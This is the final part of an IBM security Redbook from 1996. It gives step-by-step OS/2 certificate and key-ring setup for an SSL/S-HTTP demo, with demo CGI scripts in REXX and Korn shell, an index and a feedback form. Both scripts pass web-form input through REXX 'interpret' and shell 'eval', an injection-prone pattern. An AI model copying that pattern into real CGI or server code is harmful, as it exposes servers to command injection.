request and the certificate that you have generated from it. You will see that the
request has just one text block, whereas the certificate also has the certificate of
the CA and some clear text information.
The final step is to receive the server certificate that you signed with the CA key
ring and make it the default key. Now that you have designated the CA key as a
trusted root the server should be happy to accept the signed certificate.
1. Select Receive Certificate from the bottom of the page.
2. Fill in the fields as follows:
•
Put c:\wwwdemo\certs\serv.crt as the name of the file containing the
certificate.
•
Put c:\wwwdemo\key rings\serv.kyr as the key ring file.
•
Enter the password you used to create the server key ring above.
3. Click on Apply. You should receive another confirmation screen saying that
the certificate was successfully received.
4. Return to the main configuration page. Click on Configuration Page at the
bottom of the confirmation screen.
5. Select Key Management from the bottom of the page.
6. Enter the server key ring password and select Manage Keys.
7. Click on Apply. You should will see a list of the keys in the key ring. Select
servkey and Set as default.
8. Click on Apply. You should receive a final confirmation screen saying that
the default was successfully set.
Your server certificate is now ready to use. Restart the server to activate it.
C.4 Step 3: Building the Client Key Ring
In this section we will create a key ring file containing a certificate signed by our
new CA for use by the Web client.
1. Start the Secure WebExplorer Key Management application. Double-click on
the icon in the Internet Connection for OS/2 folder.
2. Select Key Ring and then New from the menu bar.
3. Select Edit and then Create Key Pair from the menu bar.
4. Fill in a key ring password of your choice and click on OK.
5. Click on Secure Server Certificate Request
6. Fill in a key name of client key.
7. Fill in the details in the Certificate request fields. Use a Common name of
Demo Client. All the other fields can be whatever you like (you can see an
example of this form in Figure 78 on page 155).
154
Safe Surfing: How to Build a Secure WWW Connection
Figure 78. Client Certificate Request Form
8. Select OK.
9. Save the file as cli.txt in directory c:\wwwdemo\certreqs.
10. Click on OK.
You should see that your client key now appears in the Key Manager screen. It
has a private key but no certificate.
The next step is to sign the certificate request, using the CA key ring. In the real
world, you would have to send the request file to the Certifying Authority for
signing.
1. In an OS/2 window enter the following command. Enter it all on one line; we
have only split it here for printing purposes.
certutil -p 365 -k c:\wwwdemo\key rings\ca.kyr < c:\wwwdemo\certreqs\cli.txt
> c:\wwwdemo\certs\cli.crt
2. Enter the password of the CA key ring when you are prompted.
3. You should see the prompt return without any message. If there is an error
message, check that you typed the command correctly.
The next step is to receive the CA certificate into the client key ring as a
self-signed certificate and make it into a trusted root key.
1. In Key Manager, select Key Ring and then Read Certificate from the menu
bar.
2. Select file c:\wwwdemo\certreqs\ca.txt (the CA certificate request file).
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
155
3. Click on OK. You should receive a warning pop-up saying that the certificate
is self-signed and asking if you want to receive it. Click on Yes.
4. Specify the name of the key as Demo CA and click on OK. You will be
returned to the Key Manager window and should see the Demo CA key
listed.
5. Select the Demo CA key, then select Selected and then Designate Trusted
Root from the menu bar.
The final step is to receive the client certificate that you signed with the CA key
ring. Now that you have designated the CA key as a trusted root the key
management application should be happy to accept the signed certificate.
1. In Key Manager, select Key Ring and then Read Certificate from the menu
bar.
2. Select file c:\wwwdemo\certs\cli.crt (the signed client certificate).
3. Click on OK. You will return to the Key Manager main window.
4. Select the client key from the list. You should see that it now has a
certificate. Select Selected and then Set as default from the menu bar.
5. Finally, save your client key ring as c:\wwwdemo\key rings\cli.kyr by
selecting Key Ring and then Save As from the menu bar.
The last thing you have to do is to configure Secure WebExplorer to use this new
key ring (c:\wwwdemo\key rings\cli.kyr). You do this by selecting Security and
then Specify Key Ring from the Secure WebExplorer menu bar.
C.5 Installing the Demo Page
Having built your demo system you will no doubt want to test it out. We have
created an HTML form that allows you to select SSL or S-HTTP, plus the security
features of the S-HTTP session. The form invokes a REXX or Korn shell script
that builds a page with an anchor having the security attributes that you
selected.
You can find listings and a sample of the demo forms the following:
•
Figure 79 on page 157 shows the form as it appears in Secure WebExplorer.
•
Figure 80 on page 158 shows an example of the page that it generates.
•
Figure 81 on page 159 shows the HTML source for the form.
•
Figure 82 on page 160 shows the REXX code used by the form.
•
Figure 83 on page 163 shows a Korn Shell version of the same code.
You can also get a copy of all the files needed for this demonstration via
anonymous FTP:
•
For users outside the IBM network:
1. Connect to ftp.almaden.ibm.com using FTP user ID anonymous.
2. Download file /SG244564/read.me in ASCII.
3. Download file /SG244564/secdemo.zip in binary.
•
For users inside the IBM network:
1. Connect to rsserver.itso.ral.ibm.com using FTP user ID anonymous.
156
Safe Surfing: How to Build a Secure WWW Connection
2. Download file /pub/SG244564/read.me in ASCII.
3. Download file /pub/SG244564/samples.zip in binary.
Figure 79. SSL and S-HTTP Demo Form
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
157
Figure 80. Page With Secure Link Generated from the Demo Form
158
Safe Surfing: How to Build a Secure WWW Connection
<HTML>
<HEAD>
<TITLE>SSL and SHTTP Examples</TITLE>
</HEAD>
<BODY>
<FORM METHOD=″POST″ ACTION=″ / cgi-bin/make_secure.shtml″>
<H1>Enter an SSL or S-HTTP Encrypted Session</H1>
This form will generate a simple HTML page containing a link that uses either
the Secure Sockets Layer (SSL)
or the Secure HTTP (S-HTTP) protocol. Select the options that you want and press <STRONG>
Create</STRONG>.
<HR>
Select which security mechanism you want to use:
<PRE><INPUT NAME=″mechanism″ TYPE=″radio″ VALUE=″ssl″ CHECKED><EM>SSL</EM>
<INPUT NAME=″mechanism″ TYPE=″radio″
VALUE=″shttp″><EM>S-HTTP</EM></PRE>
<HR>
Options for S-HTTP connection:
<TABLE CELLPADDING=10 BORDER>
<TR><TH></TH>
<TH>Encryption</TH> <TH>Signing</TH>
<TR>
<TH>Server -> Client</TH>
<TD VALIGN=TOP><PRE>
<INPUT NAME=″S2CENC″ TYPE=″radio″ VALUE=″none″>None
<INPUT NAME=″S2CENC″ TYPE=″radio″ VALUE=″DES″ CHECKED>DES
<INPUT
NAME=″S2CENC″ TYPE=″radio″ VALUE=″RC2″>RC2</PRE>
<BR><PRE>Key Size for RC2: <INPUT NAME=″S2CSIZE″ TYPE=″text″ SIZE=″3″ VALUE=″128″></PRE>
</TD>
<TD VALIGN=TOP><PRE>
<INPUT NAME=″S2CSIG″ TYPE=″radio″ VALUE=″none″>None
<INPUT NAME=″S2CSIG″ TYPE=″radio″ VALUE=″RSA″ CHECKED>RSA</PRE>
</TD></TR>
<TR>
<TH>Client -> Server</TH>
<TD VALIGN=TOP><PRE>
<INPUT NAME=″C2SENC″ TYPE=″radio″ VALUE=″none″>None
<INPUT NAME=″C2SENC″ TYPE=″radio″ VALUE=″DES″ CHECKED>DES
<INPUT
NAME=″C2SENC″ TYPE=″radio″ VALUE=″RC2″>RC2</PRE>
<BR><PRE>Key Size for RC2: <INPUT NAME=″C2SSIZE″ TYPE=″text″ SIZE=″3″ VALUE=″128″></PRE>
</TD>
<TD VALIGN=TOP><PRE>
<INPUT NAME=″C2SSIG″ TYPE=″radio″ VALUE=″none″>None
<INPUT NAME=″C2SSIG″ TYPE=″radio″ VALUE=″RSA″ CHECKED>RSA</PRE>
</TD></TR>
</TABLE>
<HR>
<INPUT TYPE=″SUBMIT″ VALUE=″Create″><IMG SRC=″ / secdemo/gif/keyline.gif″ ALIGN=RIGHT>
</FORM>
</BODY>
Figure 81. HTML File for Demo Form, SECDEMO.HTML
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
159
/*--------------------------------------------------------------------REXX CGI script to create a page containing a single link to a secure
page, using SSL or SHTTP protocols
----------------------------------------------------------------------*/
′ @ECHO OFF′
IF RXFUNCQUERY( ′ SYSLOADFUNCS′ ) THEN DO;
CALL RXFUNCADD ′ SYSLOADFUNCS′ , ′ REXXUTIL′ , ′ SYSLOADFUNCS′ ;
CALL SYSLOADFUNCS;
END;
nodename = value(′ SERVER_NAME′ , , ′ OS2ENVIRONMENT′ )
browser_type = value(′ HTTP_USER_AGENT′ , , ′ OS2ENVIRONMENT′ )
orig_sym = ′ ′
recv_sym = ′ ′
/*
Send the page header
*/
′ cgiutils -status 200 -ct text/html′
say ′<HTML>′
say ′<HEAD>′
say ′<TITLE>Enter the Secure World</TITLE>′
say ′ < ! --#certs name=″server key″-->′
say ′ < / HEAD><BODY>′
/*
Check for Secure WebExplorer
*/
if browser_type <> ′ IBM WebExplorer DLL /v1.1′
then do
say ′<H1>The Wrong Browsers!</H1>′
say ′<P>(With apologies to Wallace and Gromit)′
say ′<P>This facility is only usable with the enhanced security′
say ′ features of IBM Internet Connection Secure WebExplorer.′
exit
end
/*
Parse the input variables
*/
′ @cgiparse -form | rxqueue /fifo′
do while (queued() > 0)
pull SetCommand
if (SetCommand <> ′ ′ ) then do
PARSE VAR SetCommand ′ SET ′ assign_var′ = ′ assign_val
interpret assign_var′ = ″′assign_val′ ″ ′
end
end
/*
Print the page heading
*/
say ′<H1>Start up a Secure Session</H1>′
Figure 82 (Part 1 of 3). Demo CGI Script in REXX, make_secure.cmd
160
Safe Surfing: How to Build a Secure WWW Connection
/*
Check for SSL and process accordingly
*/
if FORM_MECHANISM = ′ SSL′
then do
say ′<P>You asked to establish a Secure Sockets Layer (SSL) session.′
say ′ The exact nature of this session will depend on whether you are′
say ′ using a US version or an Export version of Secure WebExplorer.′
say ′<P>When the session is established, you will be able to see what′
say ′ security is in place by clicking on the ′
say ′<IMG SRC=/secdemo/gif/locksym.gif ALIGN=TOP> symbol on the icon bar.<HR>′
say ′<FONT SIZE=5>′
say ′<P><STRONG><A HREF=https://′ nodename′ / secdemo/target.html>Click here</A>′
say ′ < / STRONG> to start the secure session′
say ′ < / BODY>′
exit
end
/*
Not SSL, so it must be S-HTTP
*/
say ′<P>You asked to establish a Secure HTTP (S-HTTP) session′
say ′ with the following characteristics:<BR><BR><BR>′
say ′<MENU><LI><EM>From client to server:</EM><UL>′
if FORM_C2SENC = ′ NONE′
then say ′<LI>No encryption′
else do
say ′<LI>′ FORM_C2SENC′ encryption′
if FORM_C2SENC = ′ RC2′
then say ′ with a ′ FORM_C2SSIZE′ bit key′
end
if FORM_C2SSIG = ′ NONE′
then say ′<LI>No signing′
else say ′<LI>′ FORM_C2SSIG′ signing′
say ′ < / UL><LI><EM>From server to client:</EM><UL>′
if FORM_S2CENC = ′ NONE′
then say ′<LI>No encryption′
else do
say ′<LI>′ FORM_S2CENC′ encryption′
if FORM_S2CENC = ′ RC2′
then say ′ with a ′ FORM_S2CSIZE′ bit key′
end
if FORM_S2CSIG = ′ NONE′
then say ′<LI>No signing′
else say ′<LI>′ FORM_S2CSIG′ signing′
say ′ < / ul></menu>′
say ′<P>When the session is established, you will be able to see what′
say ′ security is in place by clicking on the ′
say ′<IMG SRC=/secdemo/gif/locksym.gif ALIGN=TOP> symbol on the icon bar.′
Figure 82 (Part 2 of 3). Demo CGI Script in REXX, make_secure.cmd
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
161
/*
work out what the CRYPTOPTs need to be... server to client:
*/
if FORM_S2CENC = ′ NONE′
then
if FORM_S2CSIG = ′ NONE′
then orig_penh=′ orig-refused=encrypt,sign′
else orig_penh=′ orig-refused=encrypt;orig-required=sign′
else do
if FORM_S2CSIG = ′ NONE′
then orig_penh=′ orig-refused=sign;orig-required=encrypt′
else orig_penh=′ orig-required=encrypt,sign′
if FORM_S2CENC = ′ RC2′
then orig_sym=′ orig-required=′ FORM_S2CENC′ -CBC[′ FORM_S2CSIZE′ ] ′
else orig_sym=′ orig-required=′ FORM_S2CENC′ -CBC′
end
/*
now client to server:
*/
if FORM_C2SENC = ′ NONE′
then
if FORM_C2SSIG = ′ NONE′
then recv_penh=′ recv-refused=encrypt,sign′
else recv_penh=′ recv-refused=encrypt;recv-required=sign′
else do
if FORM_C2SSIG = ′ NONE′
then recv_penh=′ recv-refused=sign;recv-required=encrypt′
else recv_penh=′ recv-required=encrypt,sign′
if FORM_C2SENC = ′ RC2′
then recv_sym=′ recv-required=′ FORM_C2SENC′ -CBC[′ FORM_C2SSIZE′ ] ′
else recv_sym=′ recv-required=′ FORM_C2SENC′ -CBC′
end
/*
Build the anchor for the S-HTTP link
*/
say ′<HR><FONT SIZE=5>′
say ′<P><STRONG><A HREF=″shttp://′ nodename′ / secdemo/target.html″ ′
say ′ DN=<!--#dn name=″server key″-->′
say ′ CRYPTOPTS=′
say ′ ″ SHTTP-Privacy-Enhancements: ′ orig_penh′ ; ′ recv_penh′ ; ′
if orig_sym = ′ ′
then do
if recv_sym <> ′ ′
then say ′ SHTTP-Symmetric-Content-Algorithms: ′ recv_sym′ ; ′
end
else
if recv_sym = ′ ′
then say ′ SHTTP-Symmetric-Content-Algorithms: ′ orig_sym′ ; ′
else say ′ SHTTP-Symmetric-Content-Algorithms: ′ orig_sym′ ; ′ recv_sym′ ; ′
say ′ SHTTP-Privacy-Domains: orig-required=PKCS7;recv-required=PKCS7″ ′
say ′>Click here</A>′
say ′ < / STRONG> to start the secure session′
say ′ < / BODY>′
exit
Figure 82 (Part 3 of 3). Demo CGI Script in REXX, make_secure.cmd
162
Safe Surfing: How to Build a Secure WWW Connection
#!/bin/ksh
#--------------------------------------------------------------#
# CGI script to create a page containing a single link to a secure
# page, using SSL or SHTTP protocols
#
# Rob Macgregor, 1/96
#--------------------------------------------------------------set `host \`hostname\``
nodename=$1
browser_type=$HTTP_USER_AGENT
cgiparse=/usr/lpp/internet/server_root/cgi-bin/cgiparse
orig_sym=″none″
recv_sym=″none″
#
# Send the page header
#
/usr/lpp/internet/server_root/cgi-bin/cgiutils -status 200 -ct text/html
print ″<HTML>″
print ″<HEAD>″
print ″<TITLE>Enter the Secure World</TITLE>″
print ″<!--#certs name=\″servkey\″-->″
print ″</HEAD><BODY>″
#
# Check for Secure WebExplorer
#
if [[ $browser_type != ″IBM WebExplorer DLL /v1.1″ ]]
then
print ″<H1>The Wrong Browsers!</H1>″
print ″<P>(With apologies to Wallace and Gromit)″
print ″<P>This facility is only usable with the enhanced security″
print ″features of IBM Internet Connection Secure WebExplorer.″
exit
fi
#
# Print the page heading
#
print ″<H1>Start up a Secure Session</H1>″
#
# Parse the input variables
#
eval $($cgiparse -form)
#
# Check for SSL and process accordingly
#
Figure 83 (Part 1 of 4). Korn Shell Version of make_secure Demo CGI Script
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
163
if [ [ $FORM_mechanism = ″ssl″ ] ]
then
print ″<P>You asked to establish a Secure Sockets Layer (SSL) session.″
print ″The exact nature of this session will depend on whether you are″
print ″using a US version or an Export version of Secure WebExplorer.″
print ″<P>When the session is established, you will be able to see what″
print ″security is in place by clicking on the ″
print ″<IMG SRC=/secdemo/gif/locksym.gif ALIGN=TOP> symbol on the icon bar.<HR>″
print ″<FONT SIZE=5>″
print ″<P><STRONG><A HREF=https://$nodename/secdemo/target.html>Click here</A>″
print ″</STRONG> to start the secure session″
print ″</BODY>″
exit
fi
#
# Not SSL, so it must be S-HTTP
#
print ″<P>You asked to establish a Secure HTTP (S-HTTP) session″
print ″with the following characteristics:<BR><BR><BR>″
print ″<MENU><LI><EM>From client to server:</EM><UL>″
if [[ $FORM_C2SENC = ″none″ ]]
then
print ″<LI>No encryption″
else
print ″<LI>$FORM_C2SENC encryption″
if [[ $FORM_C2SENC = ″RC2″ ]]
then
print ″ with a $FORM_C2SSIZE bit key″
fi
fi
if [[ $FORM_C2SSIG = ″none″ ]]
then
print ″<LI>No signing″
else
print ″<LI>$FORM_C2SSIG signing″
fi
print ″</UL><LI><EM>From server to client:</EM><UL>″
if [[ $FORM_S2CENC = ″none″ ]]
then
print ″<LI>No encryption″
else
print ″<LI>$FORM_S2CENC encryption″
if [[ $FORM_S2CENC = ″RC2″ ]]
then
print ″ with a $FORM_S2CSIZE bit key″
fi
fi
if [[ $FORM_S2CSIG = ″none″ ]]
then
print ″<LI>No signing″
else
print ″<LI>$FORM_S2CSIG signing″
fi
Figure 83 (Part 2 of 4). Korn Shell Version of make_secure Demo CGI Script
164
Safe Surfing: How to Build a Secure WWW Connection
print
print
print
print
″</ul></menu>″
″<P>When the session is established, you will be able to see what″
″security is in place by clicking on the ″
″<IMG SRC=/secdemo/gif/locksym.gif ALIGN=TOP> symbol on the icon bar.″
#
# work out what the CRYPTOPTs need to be... server to client:
#
if [[ $FORM_S2CENC = ″none″ ]]
then
if [[ $FORM_S2CSIG = ″none″ ]]
then
orig_penh=″orig-refused=encrypt,sign″
else
orig_penh=″orig-refused=encrypt;orig-required=sign″
fi
else
if [[ $FORM_S2CSIG = ″none″ ]]
then
orig_penh=″orig-refused=sign;orig-required=encrypt″
else
orig_penh=″orig-required=encrypt,sign″
fi
if [[ $FORM_S2CENC = ″RC2″ ]]
then
orig_sym=″orig-required=$FORM_S2CENC-CBC [$FORM_S2CSIZE]″
else
orig_sym=″orig-required=$FORM_S2CENC-CBC″
fi
fi
#
# now client to server:
#
if [[ $FORM_C2SENC = ″none″ ]]
then
if [[ $FORM_C2SSIG = ″none″ ]]
then
recv_penh=″recv-refused=encrypt,sign″
else
recv_penh=″recv-refused=encrypt;recv-required=sign″
fi
else
if [[ $FORM_C2SSIG = ″none″ ]]
then
recv_penh=″recv-refused=sign;recv-required=encrypt″
else
recv_penh=″recv-required=encrypt,sign″
fi
if [[ $FORM_C2SENC = ″RC2″ ]]
then
recv_sym=″recv-required=$FORM_C2SENC-CBC [$FORM_C2SSIZE]″
else
recv_sym=″recv-required=$FORM_C2SENC-CBC″
fi
fi
Figure 83 (Part 3 of 4). Korn Shell Version of make_secure Demo CGI Script
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
165
#
# Build the anchor for the S-HTTP link
#
print ″<HR><FONT SIZE=5>″
print ″<P><STRONG><A HREF=\″shttp://$nodename/secdemo/target.html\″″
print ″DN=<!--#dn name=\″servkey\″-->″
print ″CRYPTOPTS=″
copts=″\″SHTTP-Privacy-Enhancements: $orig_penh;$recv_penh″
if [[ $orig_sym = ″none″ ]]
then
if [[ $recv_sym != ″none″ ]]
then
copts=″$copts SHTTP-Symmetric-Content-Algorithms: $recv_sym″
fi
else
if [[ $recv_sym = ″none″ ]]
then
copts=″$copts SHTTP-Symmetric-Content-Algorithms: $orig_sym″
else
copts=″$copts SHTTP-Symmetric-Content-Algorithms: $orig_sym;$recv_sym″
fi
fi
print ″$copts\″″
print ″>Click here</A>″
print ″</STRONG> to start the secure session″
print ″</BODY>″
exit
Figure 83 (Part 4 of 4). Korn Shell Version of make_secure Demo CGI Script
166
Safe Surfing: How to Build a Secure WWW Connection
Index
Byte codes (in Java)
Special Characters
/etc/httpd.conf, see httpd.conf
/etc/inetd.conf, see inetd.conf
/etc/inittab, removing unneeded commands 101
/etc/rc.tcpip, removing unneeded items 101
\, see backslash
Numerics
401 response code
7, 23
A
Access control
defined 2
Access control lists
described 20
Accountability
defined 2
ACLOverride directive in httpd.conf 20
ACLs, see access control lists
Acquirer payment gateway 79
Alerts
generating from log messages 125
using Systems Monitor to generate 125
Anchor tag 5
Anonymous FTP
Interactions with Web server 13
Applets 33
Attacks
social engineering 3
types of 3
Audit subsystem (AIX) 122
Authentication
defined 2
authlog shell script 119
B
Back doors 12, 39
Backslash (\)
use in OS/2 server configuration 17
base64 encoding 24
Basic security
example of 21
how secure? 24
introduced 6
operation 7
user IDs, see User IDs
Browser
protecting 97
viewers to handle different data types
Bulk encryption 38
 Copyright IBM Corp. 1996
6
32
C
Capstone 147
Capture (of funds) in SET 81
Capturing traffic 24
Cardholder certificates (in SET) 82
CBC 39
CERN 96
CERN httpd 143
CERT 147
Certificates, public key 65
displaying certificate information 52, 60
receiving signed certificate 70
requesting certificates 67, 68
self-signed certificates 73
use in SSL 46
Certifying authority
acting as your own CA 66, 73
procedures for running 74
certification hierarchies 66
described 65
proposal for SET 79, 81
certutil command 73
CGI
example of use to identify SSL browser 55
example using DB2 gateway 113
examples of bad practice 27
in a chroot environment 106
introduced 5
placement of scripts 27, 109
security issues
written ad hoc 6
chroot command 103
and CGI scripts 106
example of creating a chroot jail 104
CICS Web interface 111
Cipher Block Chaining, see CBC
Client authentication in S-HTTP 57
Client authentication in SSL 46
Client code execution 97
Clipper 147
Contents-type
COPS 108, 143
Crack 143
Cracklib 143
Credit card transactions 2, 77
CRYPTOPTS statements 56, 58
example of mismatch 64
in Protection directive 62
CyberCash Inc 77
167
D
H
Data Encryption Standard, see DES
Database access, see DB2
DB2 Web interface 111
example of using 113
Demilitarized Zone, see DMZ
Denial of service 3, 97
DES 39, 147
Diffie Hellman 147
Digital cash 77
Directory access, restricting 7, 16
Directory listing 12
exposures from 13
Distinguished name 58, 65
D M Z 86, 147
filtering needed on outside 88
in IBM RTP gateway 138
simplified setup 91
using just one firewall machine 91
DN parameter in S-HTTP coding 58
Documenting Internet connection policy
DSS
Hash functions 42
Hidden fields 30
HotJava browser 32
htadm command 14
HTML 148
anchor tag 5
Applet tag 34
defined 4
Documents
mapping rules for server 8
example of accessing from HTML anchor 52
example of password-protected page 21
examples of S-HTTP coding 56
examples of SSL coding 50
forms (see also Forms) 5
hidden fields (in forms) 30
how to identify SSL-capable browser 54
Location tag 56
HTTP 148
defined 4
methods 16
stateless 25
HTTP_USER_AGENT variable 55
httpd.conf 8, 12
defining S-HTTP options 57
Directives
Defprot 18
Exec 10
Fail 9
Map 9
Pass 9
Protect 15
Protection 16
Redirect 10
setting user ID 100
https: protocol in URL 51
137
E
Electronic coins 78
Electronic payment systems 77
Encryption
Public-key 40
efficiency of 41
Symmetric-key 38
Enigma 39
Escape characters in called programs
eval command 27
example of problem with 27
29
F
FAQ 141
Filter rule examples for firewall 88, 92
Firewalls
introduced 6
WWW considerations 85
Forms 5
substituting fields from other 30
FTP
anonymous, see anonymous FTP
configuring on OS/2 107
FTP-data connection 85
merging access with HTTP access 108
fwlogmgmt command 120
G
Ghostscript
GIF 5
Group files
168
97, 145
19
Safe Surfing: How to Build a Secure WWW Connection
I
IBM Internet Connection
Products
Secure Network Gateway 6, 85
IDEA 40, 148
inetd.conf file, removing unneeded services 101
Integrity
defined 2
Internet
Risks 1
Internet protocol, see IP
IP 4
port for SOCKS 94
port for SSL 44
ports for DB2 112
IP addresses
allowing Web access to specific addresses 20
ISS 143
J
Java 32
applets 33
introduction 98
restrictions in browser environment
34
K
Key distribution
security of 39
using public-key encryption for 41
Key exchange algorithms (S-HTTP) 48
Key Management application (OS/2 Secure
Webexplorer) 71
Key ring file
described 67
Example for Secure WebExplorer 72
for Certifying Authority 73
password for 69
Key size restrictions 39
L
Log_TCP 144
Logging
general requirements of 99
in detail 117
log analysis example 128
sample log management scripts
lsof 145
118
M
MAC 46
Mailing lists 141
Mapping rules 8
processing of 10
security considerations 12
Mask statements in httpd.conf 16
MD5 42, 143, 148
Memory overrun attacks 32
Message authentication code, see MAC
Message digests 42
Message digest algorithms (S-HTTP)
MIB tables (Systems Monitor) 125
MIME 24, 148
Mosaic 144
N
Netscape page for SSL
NIST 148
NSA 39, 149
46
P
Passwords
encrypted on Web server
one-time 86
14
Passwords (continued)
password file on Web server 20
prompt popup 22
risks of exposure 26
security of 24
setting up rules for 102
PCT 37
PEM 49, 65, 149
PERL 145
Persona certificate 68
requesting for client 70
PGP 40, 149
certification model 67
Physical security 107
PKCS7 65, 149
use in S-HTTP 49
Postscript, security considerations 97
Privacy
defined 2
offered by digital cash systems 78
Privacy domains (S-HTTP) 49
Privacy enhanced mail, see PEM
Privacy enhancements (S-HTTP) 48
Protect statement in httpd.conf 15
Protecting file types 18
Proxy servers
described 94
socksified 96
typical configuration 95
Public key cryptography 40
efficiency of 41
R
RC2 and RC4 39, 149
Realm name 26
REXX Interpret command 27
RFCs
RFC1521 (MIME) 24
RIPEM 149
Routing, preventing firewall from
RSA 41, 150
48
93
S
S-HTTP 6, 37, 150
compared to SSL 49
description of 47
examples of HTML coding 56
negotiation 47
options supported by IBM products 49
SATAN 107, 144
Secure Electronic Transactions, see SET
Secure Sockets Layer, see SSL
Security imbeds 57
deciding whether to use 61
example of not using 61
Security objectives 2
Index
169
Self-signed certificates 73
SEPP 37
SET 38, 77
Description of the protocol 79
Purchase order 80
SHEN 37
SHS 42, 150
Signature algorithms (S-HTTP) 48
Skipjack 39, 150
SNG, see IBM Internet Connection Secure Network
Gateway
Social engineering attacks 3
SOCKS 94, 144
combined with proxy servers 96
socksified clients 94
Spoofing 3
SSL 6, 37, 150
accessing from HTML anchors 52
compared to S-HTTP 49
description of 43
future of 83
handshake 45
Strobe 144
STT 37
su command 118
Symbolic links 109
Symmetric content algorithms (S-HTTP) 48
Syslog 118
logging on a remote host 119
System hardening 99
Systems Monitor for AIX 125
T
TCB 103
TCP wrapper 144
The World Wide Web
how it works 4
where it is vulnerable 5
Tiger 108, 144
TIS toolkit 144
Tripwire 143
Trusted Computing Base, see TCB
Tunnels, encrypted
U
URL
defined 5
protocol for SSL 51
User IDs
defining in Web server 14
for DB2 112
of Web server daemon(AIX) 100
password encryption 14
removing unneeded IDs 102
UserId directive in httpd.conf 100
uses for 2
170
Safe Surfing: How to Build a Secure WWW Connection
uucp user ID
102
V
Verisign Inc 66, 68
Virtual hierarchy of documents
10
W
Web browser, see Browser
Web security
Web server
log archive 132
protection of 85
Welcome files 12
World Wide Web Consortium
World writeable files 103
www_acl file 21
X
X.509 certificates
65, 69
38
ITSO Redbook Evaluation
Safe Surfing:
How to Build a Secure
World Wide Web Connection
Publication No. SG24-4564-00
Your feedback is very important to help us maintain the quality of ITSO redbooks. Please fill out this
questionnaire and return it using one of the following methods:
•
•
•
•
Mail it to the address on the back (postage paid in U.S. only)
Give it to an IBM marketing representative for mailing
Fax it to: Your International Access Code + 1 914 432 8246
Send a note to [email protected]
Please rate on a scale of 1 to 5 the subjects below.
(1 = very good, 2 = good, 3 = average, 4 = poor, 5 = very poor)
Overall Satisfaction
____
Organization of the book
Accuracy of the information
Relevance of the information
Completeness of the information
Value of illustrations
____
____
____
____
____
Grammar/punctuation/spelling
Ease of reading and understanding
Ease of finding information
Level of technical detail
Print quality
____
____
____
____
____
Please answer the following questions:
a)
Are you an employee of IBM or its subsidiaries:
Yes____ No____
b)
Do you work in the USA?
Yes____ No____
c)
Was this redbook published in time for your needs?
Yes____ No____
d)
Did this redbook meet your needs?
Yes____ No____
If no, please explain:
What other topics would you like to see in this redbook?
What other redbooks would you like to see published?
Comments/Suggestions:
Name
Company or Organization
Phone No.
( THANK YOU FOR YOUR FEEDBACK! )
Address
IBML
ITSO Redbook Evaluation
SG24-4564-00
Fold and Tape
Please do not staple

Cut or Fold
Along Line
Fold and Tape
NO POSTAGE
NECESSARY
IF MAILED IN THE
UNITED STATES
BUSINESS REPLY MAIL
FIRST-CLASS MAIL
PERMIT NO. 40
ARMONK, NEW YORK
POSTAGE WILL BE PAID BY ADDRESSEE
IBM International Technical Support Organization
Department HZ8, Building 678
P.O. BOX 12195
RESEARCH TRIANGLE PARK NC
USA 27709-2195
Fold and Tape
SG24-4564-00
Please do not staple
Fold and Tape
Cut or Fold
Along Line
IBML

Printed in U.S.A.
SG24-4564-00

Similar documents

×

Report this document